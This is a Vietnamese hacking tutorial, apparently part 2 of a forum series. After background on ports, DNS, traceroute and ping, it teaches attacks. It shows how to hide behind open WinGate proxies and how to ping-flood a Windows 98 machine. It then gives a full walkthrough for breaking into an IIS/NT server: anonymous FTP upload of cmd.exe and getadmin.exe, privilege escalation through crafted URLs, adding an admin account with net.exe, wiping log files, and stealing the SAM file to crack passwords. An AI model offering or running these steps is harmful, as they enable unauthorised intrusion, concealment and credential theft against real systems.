_ Vitual port ( cổng ảo ) là 1 số tự nhiên đựợc gói ở trong TCP(Tranmission Control Protocol) và UDP(User Diagram Protocol) header. Như mọi nguòi đã biết, Windows có thể chạy nhiều chương trình 1 lúc, mỗi chương trình này có 1 cổng riêng dùng để truyền và nhận dữ liệu. Ví dụ 1 máy có địa chỉ IP là 127.0.0.1 chạy WebServer, FTP_Server, POP3 server, etc, những dịch vụ này đều đuọc chạy trên 1 IP address là 127.0.0.1, khi một gói tin đuọc gửi đến làm thế nào máy tính của chúng ta phân biệt được gói tin này đi vào dịch vụ nào WebServer hay FTP server hay SM! TP? Chính vì thế Port xuất hiện. Mỗi dịch vụ có 1 số port mặc định, ví dụ FTP có port mặc định là 21, web service có port mặc định là 80, POP3 là 110, SMTP là 25 vân vân....
Người quản trị mạng có thể thay đổi số port mặc định này, nếu bạn ko biết số port trên một máy chủ, bạn ko thể kết nối vào dịch vụ đó được. Chắc bạn đã từng nghe nói đến PORT MAPPING nhưng có lẽ chưa biết nó là gì và chức năng thế nào. Port mapping thực ra đơn giản chỉ là quá trình chuyển đổi số port mặc định của một dịch vụ nào đó đến 1 số khác. Ví dụ Port mặc định của WebServer là 80, nhưng thỉnh thoảng có lẽ bạn vẫn thấy http://www.xxx.com:8080 , 8080 ở đây chính là số port của host xxx nhưng đã đuợc nguòi quản trị của host này ``map`` từ 80 thành 8080.
( Tài liệu của HVA )
15 . ) DNS là gì ?
_ DNS là viết tắt của Domain Name System. Một máy chủ DNS đợi kết nối ở cổng số 53, có nghĩa là nếu bạn muốn kết nối vào máy chủ đó, bạn phải kết nối đến cổng số 53. Máy chủ chạy DNS chuyển hostname bằng các chữ cái thành các chữ số tương ứng và ngược lại. Ví dụ: 127.0.0.1 -- > localhost và localhost--- > 127.0.0.1 .
( Tài liệu của HVA )
16 . ) Đôi điều về Wingate :
_ WinGate là một chương trình đơn giản cho phép bạn chia các kết nối ra. Thí dụ: bạn có thể chia sẻ 1 modem với 2 hoặc nhiều máy . WinGate dùng với nhiều proxy khác nhau có thể che giấu bạn .
_ Làm sao để Wingate có thể che dấu bạn ? Hãy làm theo tôi : Bạn hãy telnet trên cổng 23 trên máy chủ chạy WinGate telnet proxy và bạn sẽ có dấu nhắc WinGate > . Tại dấu nhắc này bạn đánh vào tên server, cùng một khoảng trống và cổng bạn muốn kết nối vào. VD :
CODE
telnet wingate.net
WinGate > victim.com 23
ta telnet đến cổng 23 vì đây là cổng mặc định khi bạn cài Wingate . lúc này IP trên máy mà victim chộp được của ta là IP của máy chủ chứa Wingate proxy đó .
_ Làm sao để tìm Wingate ?
+ Nếu bạn muốn tìm IP WinGates tĩnh (IP không đổi) thì đến yahoo hay một trang tìm kiếm cable modem. Tìm kiếm cable modems vì nhiều người dùng cable modems có WinGate để họ có thể chia sẻ đường truyền rộng của nó cable modems cho những máy khác trong cùng một nhà . Hoặc bạn có thể dùng Port hay Domain scanners và scan Port 1080 .
+ Để tìm IP động (IP thay đổi mỗi lần user kết nối vào internet) của WinGates bạn có thể dùng Domscan hoặc các chương trình quét khác . Nếu dùng Domscan bạn hãy nhập khoảng IP bất kỳ vào box đầu tiên và số 23 vào box thứ 2 . Khi đã có kết quả , bạn hãy thử lần lượt telnet đến các địa chỉ IP tìm đựơc ( đã hướng dẫn ở trên ), nếu nó xuất hiện dấu “Wingate > ” thì bạn đã tìm đúng máy đang sử dụng Wingate rồI đó .
+ Theo kinh nghiệm của tôi thì bạn hãy down wingatescanner về mà sài , nó có rất nhièu trên mạng .
17 . ) Đôi điều về Traceroute :
_ Traceroute là một chương trình cho phép bạn xác định được đường đi của các gói packets từ máy bạn đến hệ thống đích trên mạng Internet.
_ bạn hãy xem VD sau :
CODE
C:\windows > tracert 203.94.12.54
Tracing route to 203.94.12.54 over a maximum of 30 hops
1 abc.netzero.com (232.61.41.251) 2 ms 1 ms 1 ms
2 xyz.Netzero.com (232.61.41.0) 5 ms 5 ms 5 ms
3 232.61.41.10 (232.61.41.251) 9 ms 11 ms 13 ms
4 we21.spectranet.com (196.01.83.12) 535 ms 549 ms 513 ms
5 isp.net.ny (196.23.0.0) 562 ms 596 ms 600 ms
6 196.23.0.25 (196.23.0.25) 1195 ms1204 ms
7 backbone.isp.ny (198.87.12.11) 1208 ms1216 ms1233 ms
8 asianet.com (202.12.32.10) 1210 ms1239 ms1211 ms
9 south.asinet.com (202.10.10.10) 1069 ms1087 ms1122 ms
10 backbone.vsnl.net.in (203.98.46.01) 1064 ms1109 ms1061 ms
11 newdelhi-01.backbone.vsnl.net.in (203.102.46.01) 1185 ms1146 ms1203 ms
12 newdelhi-00.backbone.vsnl.net.in (203.102.46.02) ms1159 ms1073 ms
13 mtnl.net.in (203.194.56.00) 1052 ms 642 ms 658 ms
Tôi cần biết đường đi từ máy tôi đến một host trên mạng Internet có địa chỉ ip là 203.94.12.54. Tôi cần phải tracert đến nó! Như bạn thấy ở trên, các gói packets từ máy tôi muốn đến được 203.94.12.54 phải đi qua 13 hops(mắc xích) trên mạng. Đây là đưòng đi của các gói packets .
_ Bạn hãy xem VD tiếp theo :
CODE
host2 # traceroute xyz.com
traceroute to xyz.com (202.xx.12.34), 30 hops max, 40 byte packets
1 isp.net (202.xy.34.12) 20ms 10ms 10ms
2 xyz.com (202.xx.12.34) 130ms 130ms 130ms
+ Dòng đầu tiên cho biết hostname và địa chỉ IP của hệ thống đích. Dòng này còn cho chúng ta biết thêm giá trị TTL<=30 và kích thước của datagram là 40 bytes(20-bytes IP Header + 8-bytes UDP Header + 12-bytes user data).
+ Dòng thứ 2 cho biết router đầu tiên nhận được datagram là 202.xy.34.12, giá trị của TTL khi gởi đến router này là 1. Router này sẽ gởi trở lại cho chương trình traceroute một ICMP message error ``Time Exceeded``. Traceroute sẽ gởi tiếp một datagram đến hệ thống đích.
+ Dòng thứ 3, xyz.com(202.xx.12.34) nhận được datagram có TTL=1(router thứ nhất đã giảm một trước đó - TTL=2-1=1). Tuy nhiên, xyz.com không phải là một router, nó sẽ gởi trở lại cho traceroute một ICMP error message ``Port Unreachable``. Khi nhận được ICMP message này, traceroute sẽ biết được đã đến được hệ thống đích xyz.com và kết thúc nhiệm vụ tại đây.
+ Trong trường hợp router không trả lời sau 5 giây, traceroute sẽ in ra một dấu sao ``*``(không biết) và tiếp tục gởi datagram khác đến host đích!
_Chú ý:
Trong windows: tracert hostname
Trong unix: traceroute hostname
( Tài liệu của viethacker.net )
18 . ) Ping và cách sử dụng :
_ Ping là 1 khái niệm rât đơn giản tuy nhiên rất hữu ích cho việc chẩn đoán mạng. Tiểu sử của từ ``ping`` như sau: Ping là tiếng động vang ra khi 1 tàu ngầm muốn biết có 1 vật thể khác ở gần mình hay ko, nếu có 1 vật thể nào đó gần tàu ngầm tiếng sóng âm này sẽ va vào vật thể đó và tiếng vang lại sẽ là ``pong`` vậy thì tàu ngầm đó sẽ biết là có gì gần mình.
_Trên Internet, khái niệm Ping cũng rất giống với tiểu sử của nó như đã đề cập ở trên. Lệnh Ping gửi một gói ICMP (Internet Control Message Protocol) đến host, nếu host đó ``pong`` lại có nghĩa là host đó tồn tại (hoặc là có thể với tới đựoc). Ping cũng có thể giúp chúng ta biêt được luợng thời gian một gói tin (data packet) đi từ máy tính của mình đến 1 host nào đó.
_Ping thật dễ dàng, chỉ cần mở MS-DOS, và gõ ``ping địa_chỉ_ip``, mặc định sẽ ping 4 lần, nhưng bạn cũng có thể gõ
CODE
``ping ip.address -t``
Cách này sẽ làm máy ping mãi. Để thay đổi kích thước ping làm như sau:
CODE
``ping -l (size) địa_chỉ_ip ``
Cái ping làm là gửi một gói tin đến một máy tính, sau đó xem xem mất bao lâu gói tin rồi xem xem sau bao lâu gói tin đó quay trở lại, cách này xác định được tốc độ của kết nối, và thời gian cần để một gói tin đi và quay trở lại và chia bốn (gọi là ``trip time``). Ping cũng có thể được dùng để làm chậm đi hoặc đổ vỡ hệ thống bằng lụt ping. Windows 98 treo sau một phút lụt ping (Bộ đệm của kết nối bị tràn – có qua nhiều kết nối, nên Windows quyết định cho nó đi nghỉ một chút). Một cuộc tấn công “ping flood” sẽ chiếm rất nhiều băng thông của bạn, và bạn phải có băng thông lớn hơn đối phương ( trừ khi đối phương là một máy chạy Windows 98 và bạn có một modem trung bình, bằng cách đó bạn sẽ hạ gục đối phương sau xấp xỉ một phút lụt ping). Lụt Ping không hiệu quả lắm đổi với những đối phương mạnh hơn một chút. trừ khi bạn có nhiều đường và bạn kiểm soát một số lượng tương đối các máy chủ cùng ping mà tổng băng thông lơn hơn đối phương.
Chú ý: option –t của DOS không gây ra lụt ping, nó chỉ ping mục tiêu một cách liên tục, với những khoảng ngắt quãng giữa hai lần ping liên tiếp. Trong tất cả các hệ Unix hoặc Linux, bạn có thể dùng ping -f để gây ra lụt thực sự. Thực tế là phải ping -f nếu bạn dùng một bản tương thích POSIX (POSIX - Portable Operating System Interface dựa trên uniX), nếu không nó sẽ không phải là một bản Unix/Linux thực sự, bởi vậy nếu bạn dùng một hệ điều hành mà nó tự cho nó là Unix hay Linux, nó sẽ có tham số -f.
( Tài liệu của HVA và viethacker.net )
19 . ) Kỹ thuật xâm nhập Window NT từ mạng Internet :
_ Đây là bài học hack đầu tiên mà tôi thực hành khi bắt đầu nghiên cứu về hack , bây giờ tôi sẽ bày lại cho các bạn . bạn sẽ cần phảI có một số thờI gian để thực hiện được nó vì nó tuy dễ nhưng khó . Ta sẽ bắt đầu :
_ Đầu tiên bạn cần tìm một server chạy IIS :
_ Tiếp đến bạn vào DOS và đánh ` FTP `. VD :
c:\Ftp www.dodgyinc.com
( trang naỳ khi tôi thực hành thì vẫn còn làm được , bây giờ không biết họ đã fix chưa , nếu bạn nào có trang nào khác thì hãy post lên cho mọI ngườI cùng làm nhé )
Nếu connect thành công , bạn sẽ thấy một số dòng tương tự như thế này :
CODE
Connected to www.dodgyinc.com.
220 Vdodgy Microsoft FTP Service (Version 3.0).
User (www.dodgyinc.com none)):
Cái mà ta thấy ở trên có chứa những thông tin rất quan trọng , nó cho ta biết tên Netbios của máy tính là “ Vdodgy ” . Từ điều này bạn có thể suy diễn ra tên mà được sử dụng cho NT để cho phép ta có thể khai thác , mặc định mà dịch vụ FTP gán cho nó nếu nó chưa đổi tên sẽ là “IUSR_VDODGY” . Hãy nhớ lấy vì nó sẽ có ích cho ta . Nhập ``anonymous” trong user nó sẽ xuất hiện dòng sau :
CODE
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
Bây giờ passwd sẽ là bất cứ gì mà ta chưa biết , tuy nhiên , bạn hãy thử đánh vào passwd là “anonymous” . Nếu nó sai , bạn hãy log in lạI thiết bị FTP , bạn hãy nhớ là khi ta quay lạI lần này thì không sử dụng cách mạo danh nữa ( anonymous ) mà sử dụng “`Guest” , thử lại passwd với “guest” xem thế nào .
Bây giờ bạn hãy đánh lệnh trong DOS :
CODE
Cd /c
Và sẽ nhìn thấy kết quả nếu như bạn đã xâm nhập thành công , bây giờ bạn hãy nhanh chóng tìm thư mục `cgi-bin` . Nếu như bạn may mắn , bạn sẽ tìm được dễ dàng vì thông thường hệ thống quản lý đã đặt `cgi-bin` vào nơi mà ta vừa xâm nhập để cho các ngườI quản lý họ dễ dàng điều khiển mạng hơn . thư mục cgi-bin có thể chứa các chương trình mà bạn có thể lợi dụng nó để chạy từ trình duyệt Web của bạn . Ta hãy bắt đầu “quậy” nào greenbiggrin.gif greenbiggrin.gif .
_ Đầu tiên , bạn hãy chuyển tớ thư mục cgi-bin và sử dụng lệnh “Binary” ( có thể các bạn không cần dùng lệnh này ) , sau đó bạn dánh tiếp lệnh “put cmd.exe” . Tiếp theo là bạn cần có file hack để cài vào thư mục này , hãy tìm trên mạng để lấy 2 file quan trọng nhất đó là `getadmin.exe` và `gasys.dll` . Download chúng xuống , một khi bạn đã có nó hãy cài vào trong thư mục cgi-bin . Ok , coi như mọI việc đã xong , bạn hãy đóng cửa sổ DOS .
Bây giờ bạn hãy đánh địa chỉ sau lên trình duyệt của bạn :
http://www.dodgyinc.com/cgi-bin/getadmin.exe?IUSR_VDODGY
Sau vài giây bạn sẽ có được câu trả lời như ở dướI đây :
CODE
CGI Error
The specified CGI application misbehaved by not returning a complete set of HTTP headers. The headers it did return are:
Congratulations , now account IUSR_VDODGY have administrator rights!
Thế là bạn đã mạo danh admin để xâm nhập hệ thống , việc cần thiết bây giờ là bạn hãy tự tạo cho mình một account , hãy đánh dòng sau trên IE :
http://www.dodgyinc.com/cgi- bin/cmd.exe?/c%20c:\winnt\system32\net.exe%20user%2 0hacker%20toilahacker%20/add
dòng lệnh trên sẽ tạo cho bạn một account login với user : anhdenday và passwd : toilahackerBây giờ bạn hãy là cho user này có account của admin , bạn chỉ cần đánh lên IE lệnh :
http://www.dodgyinc.com/cgi-bin/ge tadmin.exe?anhdenday
Vậy là xong rùi đó , bạn hãy disconnect và đến start menu - > find rồi search computer `www.dodgyinc.com`. Khi tìm thấy , bạn vào explore , explore NT sẽ mở ra bạn hay nhập user và passwd để mở nó ( của tôi là user : anhdenday và passwd : toilahacker ) .
Có một vấn đề là khi bạn xâm nhập hệ thống này thì sẽ bị ghi lại , do đó để xoá dấu vết bạn hãy vào `Winnt\system32\logfiles` mở file log đó rồI xoá những thông tin liên quan đến bạn , rồI save chúng . Nếu bạn muốn lấy một thông báo gì về việc chia sẽ sự xâm nhập thì bạn hãy thay đổi ngày tháng trên máy tính vớI URL sau :
http://www.dodgyinc.com/cgi-bin/cm d.exe?/c%20date%2030/04/03
xong rồI bạn hãy xoá file `getadmin.exe`, và `gasys.dll` từ `cgi-bin` . Mục đích khi ta xâm nhập hệ thống này là “chôm” pass của admin để lần sau xâm nhập một cách hợp lệ , do đó bạn hãy tìm file SAM ( chứa pass của admin và member ) trong hệ thống rồI dùng chương trình “l0pht crack” để crack pass ( Hướng dẫn về cách sử dụng “l0pht crack v 3.02” tôi đã post lên rồi ,các bạn hãy tự nghiên cứu nhé ) . Đây là link : http://vnhacker.org/forum/?act=ST& f=6&t=11566&s=
Khi crack xong các bạn đã có user và pass của admin rồI , bây giờ hãy xoá account của user ( của tôi là “anhdenday” ) đi cho an toàn . Bạn đã có thể làm gì trong hệ thống là tuỳ thích , nhưng các bạn đừng xoá hết tài liệu của họ nhé , tội cho họ lắm .
Bạn cảm thấy thế nào , rắc rối lắm phải không . Lúc tôi thử hack cách này , tôi đã mày mò mất cả 4 giờ , nếu như bạn đã quen thì lần thứ 2 bạn sẽ mất ít thờI gian hơn .
Ở phần 3 tôi sẽ đề cập đến HĐH Linux , đến cách ngắt mật khẩu bảo vệ của một Web site , và làm thế nào để hack một trang web đơn giản nhất .v.v…
Hết phần 2
Anhdenday
HVAOnline.net
Subscribe to:
Comments (Atom)